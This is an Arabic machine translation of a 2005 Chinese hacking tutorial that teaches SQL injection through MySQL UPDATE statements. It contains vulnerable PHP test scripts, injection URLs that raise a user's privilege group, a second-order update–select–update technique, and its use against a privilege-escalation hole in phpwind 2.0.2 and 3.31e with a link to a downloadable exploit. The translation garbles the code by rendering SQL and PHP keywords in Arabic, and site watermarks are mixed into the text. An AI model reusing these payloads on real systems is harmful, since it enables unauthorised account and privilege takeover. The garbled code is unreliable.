مؤلف هذا المقال: SuperHei
طبيعة المقالة: تاريخ الإصدار الأصلي: 14/08/2005
1. تنزيل إدارة شبكة بيئة الاختبار dl.bitscn.com
نظام التشغيل: Windowsxp sp2
بي إتش بي: بي إتش بي 4.3.10
ماي اس كيو ال 4.1.9
أباتشي 1.3.33
2. اختبار بنية قاعدة البيانات
- قاعدة البيانات: "اختبار".
--
-------------------------------------------------- --------
--
- هيكل الجدول "معلومات المستخدم".
--شبكة إدارة الشبكة www_bitscn_com
إنشاء جدول "معلومات المستخدم" (
`groudid` varchar(12) ليس فارغًا افتراضيًا '1'،
`user` varchar(12) ليس فارغًا افتراضيًا "heige"،
"تمرير" varchar(122) ليس فارغًا افتراضيًا "123456"
) TYPE=MyISAM;مدير الشبكة في المنزل u.bitsCN.com
--
- تصدير البيانات في الجدول "معلومات المستخدم".
--
أدخل في قيم "معلومات المستخدم" ('2'، 'heige'، '123456')
3. وضع الاختبار
1. لا يحتوي المتغير على '' أو "" China Network Management Alliance bitsCN.com
<?php
//test1.php Mod1
$servername = "localhost";
$dbusername = "الجذر";
$dbpassword = "";
$dbname = "اختبار";
mysql_connect($servername,$dbusername,$dbpassword) أو die ("فشل اتصال قاعدة البيانات"); المنتدى الصيني لإدارة الشبكة bbs.bitsCN.com
$sql = "تحديث مجموعة معلومات المستخدم=$p حيث المستخدم='heige'";/ / <--$P لا يستخدم علامات الاقتباس المفردة
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);منتدى إدارة الشبكة الصيني bbs.bitsCN.com
echo "<p>SQL Query:$sql<p>";
?>
يقوم البرنامج النصي بتعديل مرور user='heige' فقط. إذا كان معرف المجموعة يمثل مستوى إذن المستخدم، فإن هدفنا هو تعديل معرف المجموعة عن طريق إنشاء $p، ثم نرسل:
http://127.0.0.1/test1.php?p=123456,groudid=1
الاستعلام في الخلية:
mysql> حدد * من معلومات المستخدم؛
+---------+-------+------+
|
+---------+-------+------+
|.1 |.هييج 123456 |
+---------+-------+------+
صف واحد في المجموعة (0.01 ثانية)
تم تغيير غرور المستخدم من 2 إلى 1 :)
حتى نتمكن من التأكد من أن عملية الحقن بدون تحديث '' أو "" يمكن أن تكون ناجحة، وهذا هو وضعنا 1.
2. المتغيرات مع '' أو ""
<?php
//test2.php
$servername = "localhost";
$dbusername = "الجذر";
$dbpassword = "";
$dbname = "اختبار";
mysql_connect($servername,$dbusername,$dbpassword) أو يموت ("فشل اتصال قاعدة البيانات");
$sql = "update userinfo set pass='$p' Where user='heige'";//<--$P يستخدم علامات الاقتباس المفردة منتدى إدارة الشبكة الصينية bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql ) ;
$userinfo = mysql_fetch_array($result);منتدى إدارة الشبكة bbs_bitsCN_com
echo "<p>SQL Query:$sql<p>";
?>
من أجل إغلاق "يجب أن يكون $p $ 123456',groudid='2Submit: منتدى إدارة الشبكة الصينية bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = في حالة on، يصبح ""، ويصبح البيان المقدم:
استعلام SQL: تحديث مجموعة معلومات المستخدم = '123456'،groudid='1' حيث المستخدم='heige'
استعلام الخلية:
الخلية> حدد * من معلومات المستخدم؛
+---------+------+-------------------+
|
+---------+------+-------------------+
|.2 |.123456',groudid='1 |
+---------+------+-------------------+
لم يتم تعديل
bitscn_com groudid لإدارة الشبكة
.فماذا لو لم يتم حقن المتغير على الإطلاق عندما يكون '' أو ""؟ بدلاً من ذلك، دعونا نلقي نظرة على الوضع 2:
<?php
//test3.php Mod2
$servername = "localhost";
$dbusername = "الجذر";
$dbpassword = "";
$dbname = "اختبار";
mysql_connect($servername,$dbusername,$dbpassword) أو يموت ("فشل اتصال قاعدة البيانات");
$sql = "update userinfo set pass='$p' Where user='heige'";//<--$P يستخدم علامات الاقتباس المفردة مدير الشبكة ujiau.bitscn@com
$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); // تتم كتابة بيانات $p في قاعدة البيانات
$sql= "اختر المرور من معلومات المستخدم حيث المستخدم='heige'";
$result = mysql_db_query($dbname, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; // إخراج استعلام المرور إلى $userinfo[0]
$sql ="update userinfo set pass='$userinfo[0]' حيث user='heige' "؛
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); // تحديث $userinfo[0] مرة أخرى bitsCN.com
?>
لنختبره ونرسله إلى: bitscn_com لإدارة الشبكة
http://127.0.0.1/test3.php?p=123456',groudid='1
ارجع إلى استعلام mysql: منتدى إدارة الشبكة bbs_bitsCN_com
mysql> حدد * من معلومات المستخدم;
+---------+-------+------+
|
+---------+-------+------+
|.1 |.هييج 123456 |
+---------+-------+------+
صف واحد في المجموعة (0.00 ثانية)
هاها ~~ تم حقن وتعديل جروديد بنجاح إلى 1. هذا هو وضعنا 2. الوصف الموجز كما يلي:
تحديث --> تحديد --> تحديث
4. الوضع الفعلي
الوضع 1: الوضع المفقود
2:تحليل
ثغرة تصعيد الامتيازات
في phpwind 2.0.2 و3.31e
التحديث (متغير الحقن Profile.php هو $proicon، وبيان التحديث هو، icon='$userdb[icon]')
↓
اختر (jop.php)
↓
تحديث (jop.php) منتدى إدارة الشبكة bbs_bitsCN_com
استغلال: http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. شكر وتقدير
شكر خاص للأصدقاء مثل سايي لمناقشاتهم ومساعدتهم. شكرًا!!